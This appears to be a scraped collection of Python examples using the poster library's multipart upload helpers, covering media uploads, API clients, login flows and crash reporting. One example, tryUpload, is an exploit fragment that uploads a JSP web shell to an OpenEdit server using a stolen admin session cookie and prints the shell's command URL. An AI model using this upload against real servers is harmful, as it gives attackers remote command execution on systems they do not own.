Пример #1
0
    def upload_to_server(self, file_path, thumbpath, duration, cuts=[], \
            vseq=None, vshot=None, st=0, et=0):
        '''Upload a file to vixen server'''
        server = self.db(self.db.prefs.name == 'server').select().first().value
        
        register_openers()
        request_page = "%s/utils/upload_from_maya.json" % server

        fd = open(file_path, "rb")
        tu = open(thumbpath, "rb")
        sha1 = hashlib.sha1(fd.read()).hexdigest()
        tusha1 = hashlib.sha1(tu.read()).hexdigest()
        if vshot:
            datagen, headers = multipart_encode({'prfile': fd, 'thumb':tu, 'sha1':sha1, \
                    'auth':self.get_vAuth(), 'frames':duration, 'tusha1':tusha1,\
                    'st':st, 'et':et, 'shotuuid':vshot})
        elif vseq:
            datagen, headers = multipart_encode({'prfile': fd, 'thumb':tu, \
                    'auth':self.get_vAuth(), 'frames':duration, 'sha1':sha1, \
                    'cuts':cuts, 'tusha1':tusha1, 'sequuid':vseq})
        
        else:
            warning('Vixen Error: Scene not assigned.')
            return
        # Create the Request object:confirm bd

        request = urllib2.Request(request_page, datagen, headers)
        data = urllib2.urlopen(request).read()
        feedback = json.loads(data)
        if feedback['result'] == 'ok':
            print feedback['info']
        else:
            warning('Vixen Server Error: %s' % feedback['info'])
Пример #2
0
def messagehandler(dbSession, request, *args, **kwargs):
	update = telegram.Update.de_json(json.loads(request.body))
	chat_id = update.message.chat.id
	text = update.message.text.encode('utf-8')
	photos = update.message.photo
	user = dbSession.query(User).filter(User.userid == chat_id).first()
	if not user:
		user = User(userid = chat_id)
		dbSession.add(user)

	n_clusters = None

	if photos:
		photo_id = max(photos, lambda x: x.width).photo_id
		if user.n_clusters:
			# give photo
			photo_path = json.loads(urlfetch.fetch(url = "https://api.telegram.org/getFile", payload = json.dumps({'file_id' : photo_id}), method = 'POST', headers = {"Content-Type": "application/json"}).content)['file_path']
			photo = open("https://api.telegram.org/file/bot{}/{}".format(TELEGRAM_API_TOKEN,photo_path))
			orig_n_colors, reduced_photo = reduce_colors(photo, n_clusters)
			body = {'method' : 'sendPhoto',
					'chat_id' : chat_id,
					'photo' : "".join(multipart_encode(reduced_photo)[0]),
					'caption' : "The photo had {} colors, but I reduced it to just {}, and it looks almost the same. Amazing me!"\
						.format(orig_n_colors, n_clusters)}
			return Response(status_int = 200, body = body, headers=to_post[1])
		else:
			# update photo
			# get number
			user.photolink = photo_id
			return getResponse("Give a number", chat_id)
	elif text:
		if not set(text).issubset('1234567890'):
			# not recognized
			return getResponse("Give me a number or a photo", chat_id)
		elif int(text) < 2:
			# not recognized
			return getResponse("Give me a number or a photo", chat_id)
		else:
			n_clusters = int(text)
			if user.photolink:
				# give photo
				photo_path = json.loads(urlfetch.fetch(url = "https://api.telegram.org/getFile", payload = json.dumps({'file_id' : photo_id}), method = 'POST', headers = {"Content-Type": "application/json"}).content)['file_path']
				photo = open("https://api.telegram.org/file/bot{}/{}".format(TELEGRAM_API_TOKEN,photo_path))
				orig_n_colors, reduced_photo = reduce_colors(photo, n_clusters)
				encoded, headers = multipart_encode(reduced_photo)[0]
				body = {'method' : 'sendPhoto',
					'chat_id' : chat_id,
					'photo' : "".join(encoded),
					'caption' : "The photo had {} colors, but I reduced it to just {}, and it looks almost the same. Amazing me!"\
						.format(orig_n_colors, n_clusters)}
				return Response(status_int = 200, body = body, headers = headers, content_type = 'multipart/form-data')
			else:
				# update n_clusters
				# get photo
				user.n_clusters = n_clusters
				return getResponse("Give me a number", chat_id)
	else:
		# not recognized
		return getResponse("Give me a number or a photo", chat_id)
Пример #3
0
def logInUser(userID, password, card):
    """Function for Logging into the server. handled server-side
    Security: Encrypted with Server Public Key
    """
    register_openers().add_handler(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
    try:
        pwd = security.PBKDKF2.pwsend(password)
        params = {"userID": userID, "password": pwd}
        sendparam = encryptMessageToSendRSA(params)
        datagen, headers = multipart_encode(sendparam)
        request = urllib2.Request("https://localhost:8080/logInUser", datagen, headers)
        result = urllib2.urlopen(request).read()
        if result == "ERROR":
            return False
        elif result == "REGIST_AGAIN":
            return False
        else:
            clientSession = DiffieHellman.DiffieHellman()
            # receive token and decrypt it with
            private_file = os.path.join("PrivateKeys", "Private_key_" + str(userID))
            with open(private_file, "rb") as f:
                private_key = security.importkey_RSA(f.read())
                loginMessage = json.loads(result)
                receivedMessage = security.decrypt_RSA(private_key, loginMessage["token"].decode("hex"))
                # sign token
                """ -----------------SIGN CC/PrivateKey By PWD -------------------- """
                reply = card.connect(0L)
                if reply:
                    tokenSigned = card.sign(receivedMessage)
                    card.disconnect()
                else:
                    tokenSigned = ""
                """ -----------------SIGN CC/PrivateKey By PWD -------------------- """
                message = {"userID": userID, "password": pwd}
                # send token back
                tokenchiphered = encryptMessageToSendRSA({"token": tokenSigned})
                sendparam = encryptMessageToSendRSA(message)
                messageToSend = {
                    "message": sendparam,
                    "session": json.dumps(clientSession.publicKey),
                    "token": tokenchiphered,
                }
                datagen, headers = multipart_encode(messageToSend)
                request = urllib2.Request("https://localhost:8080/authTokenValidation", datagen, headers)
                result = urllib2.urlopen(request).read()
                if result == "OK":
                    # Establish Session
                    clientSession.genKey(loginMessage["session"])
                    destination = os.path.join("download", "session.txt")
                    user = User(userID, clientSession.getKey().encode("hex"))
                    print "Logged In: " + str(userID)

                    return user
                return False
    except urllib2.URLError as e:
        print e.reason
        print "Currently, you are not a valid user!\nSafeBox Team"
        return False
Пример #4
0
    def _process_source(self, resource_id, location, resource,
                        args=None, progress_bar=False, callback=None,
                        out=sys.stdout):
        """Creates a new source.

        """
        code = HTTP_INTERNAL_SERVER_ERROR
        error = {
            "status": {
                "code": code,
                "message": "The resource couldn't be created"}}

        if args is None:
            args = {}
        args = self._add_project(args, True)

        if progress_bar and callback is not None:
            body, headers = multipart_encode(args, cb=callback)
        else:
            body, headers = multipart_encode(args)

        url = self._add_credentials(self.source_url)

        if GAE_ENABLED:
            try:
                response = urlfetch.fetch(url=url,
                                          payload="".join(body),
                                          method=urlfetch.POST,
                                          headers=headers)
                code = response.status_code
                content = response.content
                if code in [HTTP_CREATED]:
                    if 'location' in response.headers:
                        location = response.headers['location']
                    resource = json_load(response.content)
                    resource_id = resource['resource']
                    error = {}
                elif code in [HTTP_BAD_REQUEST,
                              HTTP_UNAUTHORIZED,
                              HTTP_PAYMENT_REQUIRED,
                              HTTP_FORBIDDEN,
                              HTTP_NOT_FOUND,
                              HTTP_TOO_MANY_REQUESTS]:
                    error = json_load(response.content)
                    LOGGER.error(self.error_message(error, method='create'))
                elif code != HTTP_ACCEPTED:
                    LOGGER.error("Unexpected error (%s)", code)
                    code = HTTP_INTERNAL_SERVER_ERROR
            except urlfetch.Error, exception:
                LOGGER.error("Error establishing connection: %s",
                             str(exception))
Пример #5
0
 def InitDb(self, uploadimage = False):
     t = urllib2.urlopen(self.url, 'method=database.reset').read()
     if t != '{"result":1}':
         raise Exeption('Error: Reset database')
         
     if uploadimage:
         files = {}
         names = []
         for i in self.images:
             n = hashlib.sha1(i).hexdigest()
             files[n] = open(i, 'rb')
             names.append(n)
         files['images'] = ','.join(names)
         files['method'] = 'database.imageupload'
         d, h = multipart_encode(files)
         req = urllib2.Request(self.url, d, h)
         r = urllib2.urlopen(req)
         t = r.read()
         o = json.loads(t)
         if o['result'] != 1:
             raise Exception('Error: Uploading images')
     
     s = 'BEGIN;\n'
     for uid, name, pwd, sex, ty, avatar, sch, reg, sid in self.users:
         s += "INSERT INTO `user` (uid,name,password,sex,type,avatar,school,region) VALUES (%d,'%s','%s',%d,%d,'%s','%s','%s');\n"%(
             uid,name,pwd,sex,ty,sha1(open(avatar,'rb')),sch,reg)
         s += "INSERT INTO `session` (sid,uid,expire,type) VALUES ('%s',%d,DATE_ADD(NOW(),INTERVAL 30 DAY),%d);\n"%(
             self.UserSession(name),uid,ty);
     s += "INSERT INTO `session` (sid,uid,expire,type) VALUES ('test',1,DATE_SUB(NOW(), INTERVAL 1 HOUR), 0);\n"
     for uid, sid, name, addr, intro, photo, phone in self.shops:
         s += "INSERT INTO `shop` (sid,uid,name,address,introduction,photo,phonenum,time,last_offer) VALUES (%d,%d,'%s','%s','%s','%s','%s', 0, 0);\n"%(
             sid, uid, name, addr, intro, sha1(open(photo,'rb')),phone)
     for uid,sid,fid,name,price,intro,photo,spec in self.foods:
         s += "INSERT INTO `food` (fid,sid,name,introduction,price,price_delta,photo,special) values (%d,%d,'%s','%s',%.2f,0,'%s',%d)\n"%(
             fid,sid,name,intro,price,sha1(open(photo,'rb')),spec)
     for id, uid, fid in self.bookmark_f:
         s += "INSERT INTO `bookmark_food` (id,uid,fid) values (%d,%d,%d);\n"%(id,uid,fid)
     for id, uid, sid in self.bookmark_s:
         s += "INSERT INTO `bookmark_shop` (id,uid,sid) values (%d,%d,%d);\n"%(id,uid,sid)
     s += 'COMMIT;'
     #print s
     
     d, h = multipart_encode({'method': 'database.execute', 'sql':s})
     req = urllib2.Request(self.url, d, h)
     r = urllib2.urlopen(req)
     t = r.read()
     print t
     o = json.loads(t)
     if o['result'] != 1:
         raise Exception('Error: Adding records')
Пример #6
0
def registUser(username, password, mail, card):
    """Function for contact the server and send the information
    of the user.
    Security: Encrypted with Server Public Key
    """
    register_openers().add_handler(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
    try:
        if card.connect(0L) == True:
            pwd = security.PBKDKF2.pwsend(password)
            mod, exp = card.getAuth()
            userID = username
            public_key, private_key = security.generate_RSA()
            params = {"userID": userID, "username": username, "password": pwd}
            sendparam = encryptMessageToSendRSA(params)
            sendparam["pub_key"] = public_key.encode("hex")
            sendparam["mod"] = mod
            sendparam["exp"] = exp
            datagen, headers = multipart_encode(sendparam)
            request = urllib2.Request("https://localhost:8080/registUser", datagen, headers)
            result = urllib2.urlopen(request).read()
            if result != "ERROR":
                token = security.decrypt_RSA(security.importkey_RSA(private_key), result.decode("hex"))
                """ -----------------SIGN CC/PrivateKey By PWD -------------------- """
                tokenSigned = card.sign(token)
                card.disconnect()
                """ -----------------SIGN CC/PrivateKey By PWD -------------------- """
                # send token back
                message = {"userID": userID, "password": pwd}
                # send token back
                tokenchiphered = encryptMessageToSendRSA({"token": tokenSigned})
                sendparam = encryptMessageToSendRSA(message)
                messageToSend = {"message": sendparam, "token": tokenchiphered}
                datagen, headers = multipart_encode(messageToSend)
                request = urllib2.Request("https://localhost:8080/registTokenValidation", datagen, headers)
                result = urllib2.urlopen(request).read()
                if result != "ERROR":
                    # Verify if the token was correct
                    """ SAVE PRIVATE KEY FILE -----> Cipher with Password"""
                    private_file = os.path.join("PrivateKeys", "Private_key_" + str(userID))
                    # messageToSend = security.encryptS_AES(json.dumps(message), session.decode('hex')).encode('hex')
                    # ciphered_priv_key = security.encryptS_AES(json.dumps(private_key), pwd).encode('hex')
                    with open(private_file, "wb") as f:
                        f.write(private_key)
                    return True
        return False
    except urllib2.URLError as e:
        print e.reason
        print "Currently, you are not a valid user!\nSafeBox Team"
        return False
Пример #7
0
def _upload(abspath, canonpath, token):
    upload_url = _apicall('GET', 'get_upload_url', token=token)
    register_openers()
    body, headers = multipart_encode({'file': open(abspath),
                                      'path': canonpath,
                                      'mtime': os.path.getmtime(abspath)})
    _apicall('POST', upload_url, body, headers=headers, token=token)
Пример #8
0
def checkForCrashes(dumpDir, symbolsPath, testName=None):
  stackwalkPath = os.environ.get('MINIDUMP_STACKWALK', None)
  stackwalkCGI = os.environ.get('MINIDUMP_STACKWALK_CGI', None)
  # try to get the caller's filename if no test name is given
  if testName is None:
    try:
      testName = os.path.basename(sys._getframe(1).f_code.co_filename)
    except:
      testName = "unknown"

  foundCrash = False
  dumps = glob.glob(os.path.join(dumpDir, '*.dmp'))
  for d in dumps:
    log.info("PROCESS-CRASH | %s | application crashed (minidump found)", testName)
    if symbolsPath and stackwalkPath and os.path.exists(stackwalkPath):
      nullfd = open(os.devnull, 'w')
      # eat minidump_stackwalk errors
      subprocess.call([stackwalkPath, d, symbolsPath], stderr=nullfd)
      nullfd.close()
    elif stackwalkCGI and symbolsPath and isURL(symbolsPath):
      f = None
      try:
        f = open(d, "rb")
        sys.path.append(os.path.join(os.path.dirname(__file__), "poster.zip"))
        from poster.encode import multipart_encode
        from poster.streaminghttp import register_openers
        import urllib2
        register_openers()
        datagen, headers = multipart_encode({"minidump": f,
                                             "symbols": symbolsPath})
        request = urllib2.Request(stackwalkCGI, datagen, headers)
        print urllib2.urlopen(request).read()
      finally:
        if f:
          f.close()
    else:
      if not symbolsPath:
        print "No symbols path given, can't process dump."
      if not stackwalkPath and not stackwalkCGI:
        print "Neither MINIDUMP_STACKWALK nor MINIDUMP_STACKWALK_CGI is set, can't process dump."
      else:
        if stackwalkPath and not os.path.exists(stackwalkPath):
          print "MINIDUMP_STACKWALK binary not found: %s" % stackwalkPath
        elif stackwalkCGI and not isURL(stackwalkCGI):
          print "MINIDUMP_STACKWALK_CGI is not a URL: %s" % stackwalkCGI
        elif symbolsPath and not isURL(symbolsPath):
          print "symbolsPath is not a URL: %s" % symbolsPath
    dumpSavePath = os.environ.get('MINIDUMP_SAVE_PATH', None)
    if dumpSavePath:
      shutil.move(d, dumpSavePath)
      print "Saved dump as %s" % os.path.join(dumpSavePath,
                                              os.path.basename(d))
    else:
      os.remove(d)
    extra = os.path.splitext(d)[0] + ".extra"
    if os.path.exists(extra):
      os.remove(extra)
    foundCrash = True

  return foundCrash
Пример #9
0
def post_image(upload_url,filename,time):
	# Register the streaming http handlers with urllib2
	#try a maximum of 5 times
	upload_attempts = 0
	while upload_attempts < 5:
		try:
			register_openers()
			
			datagen, headers = multipart_encode({"file": open(filename),"time":time,"camera_id":camera_id,"token":token})
			
			request = urllib2.Request(upload_url, datagen, headers)
			
			response =  urllib2.urlopen(request).read()
			print response
			if response == '200':
				#delete files here
				os.remove(filename)
				print('RESPONSE OKAY FILE DELETED')
				return True
			else:
				print('SERVER ERROR FILE NOT DELETED')
				return False
				
		except Exception,e:
			print("Error posting file")
			print(e)
			print("Retrying...")
			upload_attempts += 1
Пример #10
0
    def upload_file(self, name, fd):
        assert _FILEUPLOAD, "poster needs to be installed, hg+https://bitbucket.org/chrisatlee/poster"
        
        if not self._authenticated:
            self._authenticate()

        url = self._url + "/file/upload"


        params = (MultipartParam(name='Filedata',
                                 fileobj=fd,
                                 filename=name,
                                 filetype='application/octet-stream'),)

        datagen, headers = multipart_encode(params)
        request = Request(url, datagen, headers)

        opener = register_openers()
        opener.addheaders.append(('Cookie', 'token=%s' % self._token))
        
        reply = opener.open(request)
        
        dom = parse_xml(reply)

        reply_dom = dom.getElementsByTagName('reply')[0]

        status = get_text_by_tag(reply_dom, 'status')
        if status != 'OK':
            raise Exception("Upload Failed")

        return reply
Пример #11
0
    def _send_request(self, method=None, parameters=None):
        """ method - api method to call
			parameters - optional data parameters for method call
		"""
        if self._ssl:
            protocol = "https://"
        else:
            protocol = "http://"

        url = "%s%s/%s.%s" % (protocol, self._apiurl, method, self._format)

        data = {"api_key": self._key, "api_secret": self._secret, "format": self._format}

        if parameters:
            data.update(parameters)

            # Local file is provided, use multi-part form
        if "file" in data:
            file_name = data["file"]
            data["file"] = open(file_name, "rb")
            datagen, headers = multipart_encode(data)
        else:
            datagen = urllib.urlencode(data)
            headers = {}

        request = urllib2.Request(url, datagen, headers)
        response = urllib2.urlopen(request)
        response = response.read()
        response_data = json.loads(response)

        if "status" in response_data and response_data["status"] == "failure":
            raise FaceError(response_data["error_code"], response_data["error_message"])
        return response_data
Пример #12
0
    def make_request(self, path, data=None,
                     ajax=False, debug=True):
        url = path if path.startswith("http") else self.url + path
        if ajax:
            url += '&ajax=true' if '?' in url else '?ajax=true'
        request = None
        if data:
            items = []
            # wrap post parameters
            for name, value in data.items():
                if isinstance(value, file):
                    # add file
                    items.append(MultipartParam.from_file(name, value.name))
                else:
                    items.append(MultipartParam(name, value))
            datagen, headers = multipart_encode(items)
            request = urllib2.Request(url, datagen, headers)
        else:
            request = urllib2.Request(url=url)

        if ajax:
            request.add_header('X_REQUESTED_WITH', 'XMLHttpRequest')
        try:
            # return urllib2.urlopen(request)
            return self.opener.open(request)
        except urllib2.HTTPError as ex:
            if not debug:
                raise
            logger.error('error in request to %s' % path)
            logger.error(ex.reason)
            logger.error(ex.read())
            raise
Пример #13
0
def to_facebook_trophy_album(access_token, img_src, facebook_album_id, nom):
    now = datetime.datetime.now()
    name = str(facebook_album_id) + '_' + str(now.strftime("%Y%m%dT%H%M%S")) + '.jpg'
    path = MEDIA_ROOT + '/photos/temp/' + name
    image = MyOpener()
    image.retrieve(img_src, path)
    
    post_url = shorten_url('http://portrit.com/#!/nomination/' + str(nom.id))
    
    vote_count = nom.current_vote_count
    vote_text = '1 vote.'
    if vote_count > 1:
        vote_text = str(vote_count) + ' votes.'
    message = 'Won ' + nom.nomination_category + ' with ' + vote_text + '\n' + post_url
    args = {
        'access_token': access_token,
        'message': message,
    }
    
    register_openers()
    
    url = 'https://graph.facebook.com/' + str(facebook_album_id) + '/photos?' + urllib.urlencode(args)
    params = {'file': open(path, "rb"), 'value': 'source', 'name': name, 'filetype': 'image/jpeg'}
    datagen, headers = multipart_encode(params)
    request = urllib2.Request(url, datagen, headers)
    try:
        response = urllib2.urlopen(request)
        data = response.read()
    except HTTPError, e:
        print 'Error code: ', e.code
Пример #14
0
 def fbMonitorBill(self, mainSn):
     """feedback monitor bill automatically.
     
     """
     recordSn = self.getSubMonitorBill(mainSn)
     if not recordSn:
         return False
     elif recordSn <> "$":
         recordSn, mainSn = recordSn.split("$")
         fbUrl = "http://%s/ida30/svr/net/CommonAction.do?method=feedback&recordSn=%s&flag=S" % (self.host, recordSn)
     else:
         fbUrl = "http://%s/ida30/svr/net/CommonAction.do?method=mainFeedback&mainSn=%s&flag=S" % (self.host, mainSn)
     
     datagen, headers = multipart_encode({"percent": "0", "procCode": "99", "procCodeText": "ÆäËû", "procDesc": "ÍøÂçÔËÐÐÒ»ÇÐÕý³£¡£"})
     request = urllib2.Request(fbUrl, datagen, headers)
     
     try:  
         response = urllib2.urlopen(request)
         if response.read().find('flgSuc = "Y"') > 0:
             self.writelog(("Feedback OK.", mainSn, self.uid), "%s [%s] (%s)")
             return True
         else:
             self.writelog(("Error: Feedback fail.", mainSn, self.uid), "%s [%s] (%s)")
             return False
     except :
         self.writelog(("Error: Access Feedback URL fail.", mainSn, self.uid), "%s [%s] (%s)")
         return False
Пример #15
0
	def changeParam(self, param, value):
		"""Change or add a parameter after making the request object

		Simply changing self.data won't work as it needs to update other things.

		value can either be a normal string value, or a file-like object,
		which will be uploaded, if setMultipart was called previously.

		"""
		if param == 'format':
			raise APIError('You can not change the result format')
		self.data[param] = value
		if self.multipart:
			(datagen, headers) = multipart_encode(self.data)
			self.headers.pop('Content-Length')
			self.headers.pop('Content-Type')
			self.headers.update(headers)
			self.encodeddata = ''
			for singledata in datagen:
				self.encodeddata = self.encodeddata + singledata
		else:
			self.encodeddata = urlencode(self.data, 1)
			self.headers['Content-Length'] = len(self.encodeddata)
			self.headers['Content-Type'] = "application/x-www-form-urlencoded"
		self.request = urllib2.Request(self.wiki.apibase, self.encodeddata, self.headers)
Пример #16
0
 def send_http_post(self, ip, httpport, flow, delay, size):
     '''
     Loops "flow"-times and sends a file previously generated by a C Script
     to a webserver via HTTP-POST.
     This is threadsave for multiple client instances.
     @param ip:
     @param httpport:
     @param flow:
     @param delay:
     @return: True / False (Success / Fail)
     '''
     # Register the streaming http handlers with urllib2
     register_openers()
     process = call(["/usr/local/bin/Zeus/filemaker/filemaker", size])
     # Run Filemaker (a c program for filemaking by size)
     # A file with the given size(byte) will be stored in /tmp/size
     # headers contains the necessary Content-Type and Content-Length
     # datagen is a generator object that yields the encoded parameters
     datagen, headers = multipart_encode({"file": open("/tmp/size", "rb")})
     lost = 0
     for i in range(flow):
         time.sleep(delay)
         try:
             request = urllib2.Request("http://" + ip + ":" + httpport + "/http_post", datagen, headers)
             f = urllib2.urlopen(request)
         except:
             lost +=1
         #lock.acquire()
         #self.progress.update_progress()
         #lock.release()
         sys.stdout.write("\r" + str(lost) + "messages lost")
         self.progress.update_progress()
     print "\nDone! " + str(lost) + " messages lost"
     return True
Пример #17
0
    def _request(self, data=None, authorize=False, **kw):


        url = self.URI + '/'.join("%s:%s" % (k, self._translate_value(v)) for k, v in kw.iteritems())
        if DEBUG:
            print url
        if data:
            data, headers = multipart_encode(data)
        else:
            headers = {}
        if authorize:
            authheader = "Basic %s" % base64.encodestring("%s:%s"% (self.login, self.password))[:-1]
            headers["Authorization"] =  authheader

        req = urllib2.Request(url, data, headers)
        try:
            handle = urllib2.urlopen(req)
        except urllib2.HTTPError, e:
            code = e.getcode()
            if code == 409:
                raise FlakDuplicateMessageError
            elif code == 401:
                raise FlakAuthorizationError
            elif code == 400:
                raise FlakError(url)
            else:
                raise
Пример #18
0
def detect_faces(image_fname):
    # request
    data, headers = multipart_encode({"image": open(image_fname, "rb"), "selector": "FACE"})
    headers["X-Mashape-Key"] = mashape_key
    request = urllib2.Request("https://animetrics.p.mashape.com/detect?api_key=" + api_key, data, headers)
    response = urllib2.urlopen(request).read()
    return json.loads(response)
Пример #19
0
def uploadfile(baseurl, filename, format_, token, nonce):
    """Uploads file (given by `filename`) to server at `baseurl`.

    `sesson_key` and `nonce` are string values that get passed as POST
    parameters.
    """
    from poster.encode import multipart_encode
    filehash = sha1sum(filename)

    try:
        fp = open(filename, 'rb')

        params = {
            'filedata': fp,
            'sha1': filehash,
            'filename': os.path.basename(filename),
            'token': token,
            'nonce': nonce,
        }

        datagen, headers = multipart_encode(params)
        r = urllib2.Request(
            "%s/sign/%s" % (baseurl, format_), datagen, headers)
        return urllib2.urlopen(r)
    finally:
        fp.close()
Пример #20
0
	def Update(self):
		"""Updates and deploys a new appversion."""
		if len(self.args) != 1:
			self.parser.error('Expected a single <directory> argument.')

		path = self.args[0]
		if not os.path.exists(path):
			StatusUpdate('%s doesn\'t exist' % path)
			return
		
		if not self.options.server:
			self.options.server = self.raw_input_fn('Target controller server: ')
		if not self.options.email:
			self.options.email = self.raw_input_fn('Enter Username(Email): ')
		
		if not self.options.password:
			self.options.password = self.password_input_fn('Password: '******'http://%s/api/upload' % self.options.server
		StatusUpdate('Uploading to %s' % url)
		tarball = pack(path, dest_file = os.path.join('/tmp', str(uuid.uuid4()).replace('-', '')) )
		StatusUpdate('Created tmp file at %s' % tarball)
		
		tarball_data  = open(tarball, 'rb')

		register_openers()
		datagen, headers = multipart_encode({
							"uploaded_app" : tarball_data,
							"owner" : self.options.email,
							"password_hash" : hashlib.md5(self.options.password).hexdigest()})
		# Create the Request object
		request = urllib2.Request(url, datagen, headers)
		# Response back from the server....
		answer = urllib2.urlopen(request).read()
		StatusUpdate(answer)
Пример #21
0
def tryUpload(cookie):
        sys.stdout.write("(+) Creating shell and preparing.. ")
        sys.stdout.flush()
	adminCookie = re.search("JSESSIONID=(.*) for", str(cookie))
	url = ("http://%s%sopenedit/filemanager/upload/uploadfile-finish.html" % (options.target, options.dirPath))

	try:
		writeShell = open(jspSname,'w')
		writeShell.write(jspShell)
		writeShell.close()
	except:
		print "(-) Exploit failed, you must have permission to write locally."
		sys.exit(1)

	register_openers()
	datagen, headers = multipart_encode({"file": open(jspSname), "path": "/WEB-INF/base/"})
	headers['Cookie'] = "JSESSIONID="+adminCookie.group(1)+";"
	headers['User-agent'] = agent
	request = urllib2.Request(url, datagen, headers)
        request.set_proxy(options.proxy, 'http')
	resp = urllib2.urlopen(request).read()
	writeShell.close()
	if re.search("UPLOAD SUCCESSFUL", resp):
		sys.stdout.write("shell upload was successful!\n")
		sploit = ("http://%s%s%s?cmd=[CMD]" % (options.target, options.dirPath, jspSname))
		sys.stdout.write("(+) Shell located @ %s\n" % (sploit))
		sys.stdout.flush()
Пример #22
0
    def request(self, uri, method="POST",
                body=None, headers=None):

        params = {
            'oauth_consumer_key': self.consumer.key,
            'oauth_signature_method': self.method.name,
            'oauth_token':self.token.key,
            'oauth_timestamp':oauth2.generate_timestamp(),
            'oauth_nonce':oauth2.generate_nonce(),
            'oauth_version':'1.0'
        }
    
        echo_request = EchoRequest(method="GET",
                                      url=self.auth_service_provider,
                                      parameters=params
                                      )
    
        signature=echo_request.sign_request(oauth2.SignatureMethod_HMAC_SHA1(),
                                                  self.consumer,
                                                  self.token)
    
        if not headers:
            headers={}
        headers.update(echo_request.to_header(self.realm, self.auth_service_provider))
        
        register_openers()
        datagen, heads = multipart_encode(body)
        headers.update(heads)
        req = urllib2.Request(uri, datagen, headers)
        response = urllib2.urlopen(req)
        return response
Пример #23
0
def baidu_tts(text, touser):
    url = "http://tsn.baidu.com/text2audio?tex=%s&lan=zh&ctp=1&cuid=c18013792913&tok=%sspb=6"
    token = "24.fe6aa4ee58e8253f893f4434dfa417d7.2592000.1462250664.282335-7954404"
    urltest = "http://tsn.baidu.com/text2audio?tex=%s&lan=zh&ctp=1&cuid=c18013792913&tok=24.fe6aa4ee58e8253f893f4434dfa417d7.2592000.1462250664.282335-7954404"
    # req=url%(text,token)
    text = text.encode('utf8')
    text = urllib.quote(text)
    url = url % (text, token)
    res = urllib2.urlopen(url)
    # if res.code ==200:
    f = open("zhishangbugou.mp3", "wb")
    f.write(res.read())
    f.close()
    #import StringIO
    #fp = StringIO.StringIO(res.read())
    new_access_token = WEI_TOKEN(touser)
    access_token = new_access_token.get_and_save_access_token()

    # access_token="n9tquWmIQV7HUPr5MNKO90w3V-m6k6oLKJFExQUTyqJ3o-xOMkeafd3tqxAP-NmgsxRj5vIRtxyrCDGSwu5d5Lpuq2cOrPdmmLF-cG61sRnFveGCkRvJTwB65hpsJSTsGPAeACAXGR"
    url = "https://api.weixin.qq.com/cgi-bin/media/upload?access_token=%s&type=voice" % (
        access_token)
    from poster.encode import multipart_encode
    from poster.streaminghttp import register_openers
    register_openers()
    #datagen, headers = multipart_encode({"filename":fp})
    datagen, headers = multipart_encode(
        {"filename": open("zhishangbugou.mp3", "rb")})
    request = urllib2.Request(url, datagen, headers)
    import json
    result = urllib2.urlopen(request)
    return json.loads(result.read())
    return True
    return False
Пример #24
0
	def __init__(self, file_name, description):
		""""""
		up_done_action = None
		file_id = None
		url = None

		opener = register_openers()
		cookie = cookielib.CookieJar()
		opener.add_handler(urllib2.HTTPCookieProcessor(cookie))

		it = opener.open(urllib2.Request("http://www.hotfile.com/",{},HEADER))
		for line in it:
			if 'multipart/form-data' in line:
				up_done_action = line.split('action="')[1].split('"')[0]
		if up_done_action:
			print up_done_action

			form = {"uploads[]": open(file_name, "rb")}
			
			datagen, headers = multipart_encode(form,None,self.progress)
			headers = dict(headers.items() + HEADER.items())
			result = opener.open(urllib2.Request(up_done_action, datagen, headers))
			
			for line in result:
				if 'name="url"' in line:
					url = line.split('value="')[1].split('"')[0]
					print url
Пример #25
0
    def upload_file(self,fileobj,filename,workflow_uuid,title="",description=""):
        # BIG GOTCHA HERE:
        # the workflow is set in a separate request from the upload
        # and state is maintained on the server. 
        # that means that there's a race condition here if two PCP
        # objects with the same session_id try to upload files
        # to different workflows at roughly the same time.
        # if there's any chance at all of that happening, you want to 
        # put some kind of mutex around this method call

        # we have to set the workflow uuid first, in a separate request
        self.select_workflow(workflow_uuid)
        # now we prepare the upload

        datagen,headers = multipart_encode((
                ("title",title),
                ("workflow_select",workflow_uuid), # probably redundant
                ("description",description),
                MultipartParam(name="source_file",fileobj=fileobj,filename=filename)
            ))
        request = urllib2.Request(self.BASE + "capture/file_upload", datagen, headers)

        # set up credentials
        base64string = base64.encodestring("%s:%s" % self.credentials)[:-1]
        request.add_header("Authorization", "Basic %s" % base64string)
        request.add_header("Cookie", "_session_id=" + self.get_session() + "; BALANCEID=balancer.mongrel2")

        # and make the actual POST
        content = urllib2.urlopen(request).read()
Пример #26
0
	def upload(self):
		print "enter logout logic here"
		f=client.doCmd({"cmd":"upload"})
	   	url=f
	    	print url
		fl=str(self.file_name.get("1.0", END)).strip()
	    	datagen, headers = multipart_encode({"sublet": open(fl, "rb")})
	   	request = urllib2.Request(url, datagen, headers)
		print urllib2.urlopen(request).read() 
	    	cache2.getRequest(fl)
		del FileInfo['Filename'][:]
		del FileInfo['Size'][:]
		del FileInfo['User'][:]
		del FileInfo['Time'][:]
		del FileInfo['ContentType'][:]
		f=client.doCmd({"cmd":"view"})
		count = 1
		count1 = 1		
		for i in f:
			count += 1
			#if count < 10:
			FileInfo[i.split(":")[0]].append(i.split(":")[1].split("/")[-1])
			count1 += 1		
		print FileInfo
       		t = SimpleTable(self, len(f)/5,5)
        	t.pack(side="bottom", fill="y")
Пример #27
0
    def upload_files(self,files, package, remote=False, p2p=False, validity=0, uncompress=False):
        for f in files:
            params = None
            logger.info("sendind %s to remote %s" % (f, remote) )
            if not remote:
                if os.path.exists(f):
                    params = {
                         "installid":"",
                         "installitemtype":"computer",
                         "installfile":os.path.split(f)[1],
                         "installfile_server":"",
                         "installp2p":p2p,
                         "installvalidity":validity,
                         "installuncompress":uncompress,
                         'file' : open(f)
                    }
            else:
                    params = {
                         "installid":"",
                         "installitemtype":"fileserver",
                         "installfile":os.path.split(f)[1],
                         "installfile_server": f,
                         "installp2p": p2p and "true" or "false",
                         "installvalidity": "%d" % (validity) ,
                         "installuncompress": uncompress and "true" and "false" ,
                         'file' : ""
                    }

            if params is not None:
                datagen, headers = multipart_encode( params , cb = self.progress_cb)
                logger.debug(pformat(datagen))
                logger.debug(pformat(headers))
                request = Request('%s/plugins/fusinvdeploy/ajax/package_file.save.php?package_id=%s&render=install' % (self._server,package), datagen, headers)
                result = urlopen(request)
                logger.debug( pformat(result.read()) )
Пример #28
0
def upload2(pyew, doprint=True):
    """ upload file to virscan.org"""
    print sys.getdefaultencoding()
    register_openers()
